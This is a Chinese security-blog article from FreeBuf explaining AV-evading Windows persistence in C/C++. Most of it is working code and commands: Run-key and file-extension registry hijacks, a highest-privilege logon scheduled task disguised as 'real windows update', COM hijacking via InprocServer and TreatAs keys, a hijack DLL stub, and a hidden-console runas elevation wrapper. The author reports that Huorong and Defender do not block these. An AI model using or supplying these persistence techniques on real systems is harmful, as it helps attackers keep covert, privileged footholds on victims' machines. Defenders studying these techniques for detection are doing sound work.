freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

自启的c语言免杀指南
2024-04-24 20:50:14

前记

实战中持久化的手段常用的就是加服务、添改注册表、加计划任务、劫持等,这里探索c/c++下的自启免杀。

注册表

用户级

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

系统级(需要管理员权限)

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce

详细代码

#include<stdio.h>
#include<windows.h>
int main(void)
{
	HKEY hKey;
	DWORD result;
	//打开注册表
	DWORD lRet = RegOpenKeyExA(
		HKEY_CURRENT_USER,
		"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
		0,
		KEY_SET_VALUE,
		&hKey
	);
	if (lRet != ERROR_SUCCESS)
		return 0;
	char szModule[MAX_PATH];
	GetModuleFileNameA(NULL, szModule, MAX_PATH);
	lRet = RegSetValueExA(
		hKey,
		"coleak",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

如果拿到了管理员权限,还可以通过后缀劫持进行维持

#include <windows.h>
#include <stdio.h>

void showErrorText(DWORD error_num);

int main()
{
    HKEY hKey;
    DWORD result;
    char szModule[MAX_PATH];
    GetModuleFileNameA(NULL, szModule, MAX_PATH);// 要替换的程序, 没写 %1 即调用时不会把双击的文件路径传给exe

    //打开注册表
    result = RegOpenKeyExA(
        HKEY_CLASSES_ROOT, "xxx\\shell\\Open\\command", // 要打开的注册表项名称
        0,              // 保留参数必须填 0
        KEY_SET_VALUE,  // 打开权限,写入
        &hKey           // 打开之后的句柄
    );

    if (result == ERROR_SUCCESS)
    {
        printf("open success!n");
    }
    else
    {
        printf("open failed!n");
        showErrorText(result);
        system("pause");
        return 0;
    }

    // 设置注册表的值
    result = RegSetValueExA(
        hKey,
        "",                // 设置默认值
        0,                 // 保留参数必须填 0
        REG_SZ,            // 键值类型为字符串
        (const unsigned char*)szModule, // 字符串首地址
        sizeof(szModule)       // 字符串长度
    );

    if (result == ERROR_SUCCESS)
    {
        printf("set success!n");
    }
    else
    {
        printf("set failed!n");
        showErrorText(result);
    }

    //关闭注册表:
    RegCloseKey(hKey);
    // 暂停
    system("pause");
    return 0;
}

/*
 * 根据错误码输出错误信息
 */
void showErrorText(DWORD error_num)
{
    char* msg = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL,
        error_num,
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // 使用默认语言
        (LPSTR)&msg,
        0,
        NULL
    );

    printf("Error code %d: ", error_num);
    if (msg == NULL)
        printf("%sn", "Unknown error");
    else
        printf("%sn", msg);
}

这里测试火绒和微软的defender都是不拦截的

计划任务

  • 触发器:定义了何时执行任务。可能是一次性的、按日程的、或者是响应特定事件的。

  • 操作:定义了任务执行的具体操作。可能是启动应用程序、发送电子邮件、显示消息等。

  • 条件:定义了任务执行的条件。例如,你可以配置任务仅在计算机空闲或只在特定的电源情况下执行。

  • 设置:定义了任务的其他设置,例如任务失败时重试的次数,任务运行的最长时间等。

#include <atlbase.h>
#include <comdef.h>
#include <iostream>
#include <Windows.h>
#include <shlobj_core.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")

ITaskService* m_lpITS = NULL;
ITaskFolder* m_lpRootFolder = NULL;


//初始化COM组件
void Init() {
	//1.CoInitialize初始化COM组件
	HRESULT hr = CoInitialize(NULL);
	if (FAILED(hr)) {
		MessageBox(NULL, L"初始化COM组件失败", L"Failed", MB_OK);
	}

	//2.CoCreateInstance创建任务服务对象
	hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&m_lpITS);
	if (FAILED(hr)) {
		MessageBox(NULL, L"创建任务服务失败", L"Failed", MB_OK);
	}
	//3.连接到任务服务
	hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
	if (FAILED(hr)) {
		MessageBox(NULL, L"连接服务失败", L"Failed", MB_OK);
	}
	//4.从ITaskService对象中获取根任务Root Task Folder的指针对象ITaskFolder,这个指针指向新注册的任务
	hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
	if (FAILED(hr)) {
		MessageBox(NULL, L"获取指针失败", L"Failed", MB_OK);

	}
}

//卸载COM组件
void UnInit() {
	if (m_lpITS)
	{
		m_lpITS->Release();
	}
	if (m_lpRootFolder)
	{
		m_lpRootFolder->Release();
	}
	CoUninitialize();
}

//创建计划任务
BOOL CreateTask(const char* lpszTaskName, const char* lpszProgramPath, const char* lpszParameters, const char* lpszAuthor) {
	// 创建任务定义对象来创建任务
	
	//  If the same task exists, remove it.
	m_lpRootFolder->DeleteTask((BSTR)lpszTaskName,0);

	ITaskDefinition* pTaskDefinition = NULL;
	HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* 设置注册信息 */
	IRegistrationInfo* pRegInfo = NULL;
	hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置作者信息
	hr = pRegInfo->put_Author(_bstr_t(lpszAuthor));
	pRegInfo->Release();

	/* 设置登录类型和运行权限 */
	IPrincipal* pPrincipal = NULL;
	hr = pTaskDefinition->get_Principal(&pPrincipal);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置登录类型
	hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
	// 设置运行权限
	// 最高权限
	hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
	pPrincipal->Release();

	/* 设置其他信息 */
	ITaskSettings* pSettting = NULL;
	hr = pTaskDefinition->get_Settings(&pSettting);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 设置其他信息
	hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
	hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
	hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
	hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
	pSettting->Release();

	/* 创建执行动作 */
	IActionCollection* pActionCollect = NULL;
	hr = pTaskDefinition->get_Actions(&pActionCollect);
	if (FAILED(hr))
	{
		return FALSE;
	}
	IAction* pAction = NULL;
	// 创建执行操作
	hr = pActionCollect->Create(TASK_ACTION_EXEC, &pAction);
	pActionCollect->Release();

	/* 设置执行程序路径和参数 */
	CComVariant variantProgramPath(NULL);
	CComVariant variantParameters(NULL);
	IExecAction* pExecAction = NULL;
	hr = pAction->QueryInterface(IID_IExecAction, (PVOID*)(&pExecAction));
	if (FAILED(hr))
	{
		pAction->Release();
		return FALSE;
	}
	pAction->Release();
	// 设置程序路径和参数
	variantProgramPath = lpszProgramPath;
	variantParameters = lpszParameters;
	pExecAction->put_Path(variantProgramPath.bstrVal);
	pExecAction->put_Arguments(variantParameters.bstrVal);
	pExecAction->Release();

	/* 创建触发器,实现用户登陆自启动 */
	ITriggerCollection* pTriggers = NULL;
	hr = pTaskDefinition->get_Triggers(&pTriggers);
	if (FAILED(hr))
	{
		return FALSE;
	}
	// 创建触发器,把触发器设置为
	ITrigger* pTrigger = NULL;
	hr = pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger);
	if (FAILED(hr))
	{
		return FALSE;
	}

	/* 注册任务计划  */
	IRegisteredTask* pRegisteredTask = NULL;
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	hr = m_lpRootFolder->RegisterTaskDefinition(variantTaskName.bstrVal,
		pTaskDefinition,
		TASK_CREATE_OR_UPDATE,
		_variant_t(),
		_variant_t(),
		TASK_LOGON_INTERACTIVE_TOKEN,
		_variant_t(""),
		&pRegisteredTask);
	if (FAILED(hr))
	{
		pTaskDefinition->Release();
		return FALSE;
	}
	pTaskDefinition->Release();
	pRegisteredTask->Release();
	return TRUE;
}


//删除计划任务
BOOL DeleteTask(char* lpszTaskName)
{
	if (NULL == m_lpRootFolder)
	{
		return FALSE;
	}
	CComVariant variantTaskName(NULL);
	variantTaskName = lpszTaskName;
	HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
	if (FAILED(hr))
	{
		return FALSE;
	}

	return TRUE;
}
int main()
{
	const char* lpszTaskName = "real windows update";   //任务名
	const char* lpszProgramPath = "c:\\windows\\system32\\calc.exe";  //要执行的程序路径
	const char* lpszParameters = "whoami";     //程序参数
	const char* lpszAuthor = "coleak";

	Init();
	BOOL bRet = CreateTask(lpszTaskName, lpszProgramPath, lpszParameters, lpszAuthor);
	if (!bRet) {
		printf("Create Task Failed");
		return -1;
	}
	UnInit();
	printf("Successd");

	return 0;
}

如图计划任务以最高权限运行,但是程序本身需要管理员权限才能添加成功

image-20240424203112848.png

COM劫持

常见的手段如下

  • 修改已有的InprocServer指向我们生成的dll

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{6F58F65F-EC0E-4ACA-99FE-FC5A1A25E4BE}\InprocServer" /d "C:\security\tmp\Dll.dll" /t REG_SZ /f
  • 设置计划任务通过 powershell 或 vbs 脚本来调用自己注册的恶意 COM

可以结合上面的写注册表和计划任务将vbs放到自启动去拉起com的函数

  • 利用现有任务进行劫持

Action 为 Comhandler 的计划任务调用的全是系统内置 COM,他们在注册表中的修改权限都是 trustedinstaller,其他用户都只有读取权限。(需要3389修改拥有者)

  • TreatAS键劫持

关键点是找到修改无需权限的节点,节点新建到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID或者HKCU\Software\Classes\CLSID无需高权限

#定义
$HKLM = "HKLM:\software\classes\CLSID"
$CLSID = "{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}"
$HijackCLSID = "{46C166AA-3108-11D4-9348-00C04F8EEB71}"
$DLL = "C:\tmp\calculator_x64.dll"
#新建恶意CLSID节点{C5602CE6-9B79-11D3-B654-581BBAEF8DBA}
New-Item -Type Directory "$HKLM\$CLSID"
#将键值指向恶意文件的路径并设置DLL线程模型
New-Item -ItemType String "$HKLM\$CLSID\InprocServer" -value $DLL
New-ItemProperty -Path "$HKLM\$CLSID\InprocServer" -Name "ThreadingModel" -Value "Both"
#在家庭网络配置管理器下CLSID节点新建TreatAs键并将默认值指向恶意CLSID节点
New-Item -ItemType String "$HKLM\$HijackCLSID\TreatAs" -value $CLSID
#调用测试
rundll32.exe -sta $HijackCLSID
#环境恢复,删除TreatAs键和恶意CLSID节点
Remove-Item -Path "$HKLM\$CLSID" -recurse
Remove-Item -Path "$HKLM\$HijackCLSID\TreatAs" -recurse

测试

1、先尝试直接写注册表免注册com

# include <windows.h>
# include <tchar.h>
#include<iostream>
using namespace std;
int main(void)
{
	HKEY hKey = NULL;
	char subKey[] = "SOFTWARE\\Classes\\CLSIDk\\{C5602CE6-9B79-12D3-B654-581BBAEF8DCD}";
	DWORD dwOptions = REG_OPTION_NON_VOLATILE;
	DWORD dwDisposition;
	long resulte = RegCreateKeyExA(HKEY_CURRENT_USER, subKey, 0, NULL,
		dwOptions, KEY_WRITE, NULL, &hKey, &dwDisposition);
	char szModule[MAX_PATH]="C:\\security\\tmp\\ATLProject1.dll";
	DWORD lRet = RegSetValueExA(
		hKey,
		"InprocServer",
		0,
		REG_SZ,
		(BYTE*)szModule,
		strlen(szModule)
	);
	if (lRet == ERROR_SUCCESS)
		printf("success\n");
	else
	{
		printf("failed");
	}
	RegCloseKey(hKey);
	return 0;
}

调用的时候会报错如下:80040154 没有注册类(注册需要管理员权限),同时添加计划任务也需要管理员权限,非常不安全不建议这么搞

2、枚举可用于 COM 劫持的计划任务,然后在user注册表提前劫持或者通过TreatAS劫持

Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler -PersistenceLocations

测试的dll必须加互斥规则

BOOL TestMutex()
{
	HANDLE hMutex = CreateMutex(NULL, false, "myself");  
	if (GetLastError() == ERROR_ALREADY_EXISTS)
	{
		CloseHandle(hMutex);
		return 0;  
	}
	return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
		case DLL_PROCESS_ATTACH:
			if(TestMutex()==0)
				return TRUE;
			WinExec("calc.exe",SW_SHOWNORMAL);
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
			break;
    }return TRUE;
}

后记

注册表功能

名称作用
HKEY_CLASSES_ROOT用于存储一些文档类型、类、类的关联属性。
HKEY_CURRENT_CONFIG用户存储有关本地计算机系统的当前硬件配置文件信息。
HKEY_CURRENT_USER用于存储当前用户配置项。
HKEY_LOCAL_MACHINE用于存储当前用户物理状态。
HKEY_USERS用于存储新用户的默认配置项。

CLSID

CLSID是微软提出的一个概念,中文翻译为:全局唯一标识符。CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。

常见的CLSID:

{20D04FE0-3AEA-1069-A2D8-08002B30309D} 我的电脑
{450D8FBA-AD25-11D0-98A8-0800361B1103} 我的文档
{645FF040-5081-101B-9F08-00AA002F954E} 回收站

CLSID结构体:

typedef struct _GUID {
	DWORD Data1; // 随机数
	WORD Data2; // 和时间相关
	WORD Data3; // 和时间相关
	BYTE Data4[8]; // 和网卡MAC相关
	} GUID;
	typedef GUID CLSID;  // 组件ID
	typedef GUID IID;    // 接口ID

注册表中的CLSID

CLSID Key:

Key Name说明
LocalServer指定应用程序使用的自定义处理程序,即exe路径
InprocServer/InprocHandler模块、线程属性配置,即dll路径

COM组件寻找顺序

  • 1.HKCU\Software\Classes\CLSID

  • 2.HKCR\CLSID;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID

  • 3.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

理论上可行的3种劫持方案:

  • HKCR中有,而HKCU中没有,只需要在HKCU中注册即可劫持HKCR中的COM服务。

  • 修改掉LocalServerInprocServer的键值。

  • 替换掉LocalServerInprocServer的键值中的文件。

注册调用编写的com

regsvr.exe -i ATLProject1.dll #这是注册
regsvr.exe /u ATLProject1.dll #这是卸载
  • vbs

set com=CreateObject("ATLProject1.temp")
dim num
num=com.Number(2)
msgbox num
  • powershell

[activator]::CreateInstance([type]::GetTypeFromCLSID("1006b886-9932-45f8-ad39-bec8c210e15e")).Number(2)
  • cmd

rundll32.exe -sta {CLSID}

请求管理员

VOID ManagerRun(LPCSTR exe, LPCSTR param)
{
    SHELLEXECUTEINFOA ShExecInfo;
    ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
    ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
    ShExecInfo.hwnd = NULL;
    ShExecInfo.lpVerb = "runas";
    ShExecInfo.lpFile = exe;
    ShExecInfo.lpParameters = param;
    ShExecInfo.lpDirectory = NULL;
    ShExecInfo.nShow = SW_SHOW;
    ShExecInfo.hInstApp = NULL;
    BOOL ret = ShellExecuteExA(&ShExecInfo);
    //杀掉当前线程
    CloseHandle(ShExecInfo.hProcess);
    return;
}

int main(int argc, char* argv[]) {
    if (argc == 1) //初次运行,即双击EXE
    {
        ShowWindow(GetConsoleWindow(), SW_HIDE);
        ManagerRun(argv[0], "2");
        return 1;
    }
    else if (argc == 2) //再次运行,即上面那个ManagerRun
    {
		function();
        /*你的程序主代码在此*/

    }

    return 0;
}

reference

https://ruyueattention.github.io/2021/12/26/COM%E5%8A%AB%E6%8C%81/
https://bu1.github.io/2021/11/27/COM%E7%BB%84%E4%BB%B6%E5%8A%AB%E6%8C%81%E5%AD%A6%E4%B9%A0%EF%BC%9A%E4%BB%8E%E5%88%9D%E8%AF%86%E5%88%B0%E7%AE%80%E5%8D%95%E5%88%A9%E7%94%A8/
https://www.4hou.com/posts/Mo51
https://lellansin.wordpress.com/2014/07/28/%E6%9C%A8%E9%A9%AC%EF%BC%8C%E4%BD%A0%E5%A5%BD%EF%BC%81%EF%BC%88%E5%85%AB%EF%BC%89%E6%B3%A8%E5%86%8C%E8%A1%A8%E6%93%8D%E4%BD%9C/
https://github.com/enigma0x3/Misc-PowerShell-Stuff/
https://sp4zcmd.github.io/2021/02/28/%E4%BD%BF%E7%94%A8COM%E7%BB%84%E4%BB%B6%E5%88%9B%E5%BB%BA%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1/
# windows # 权限维持 # 免杀 # 自启动
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录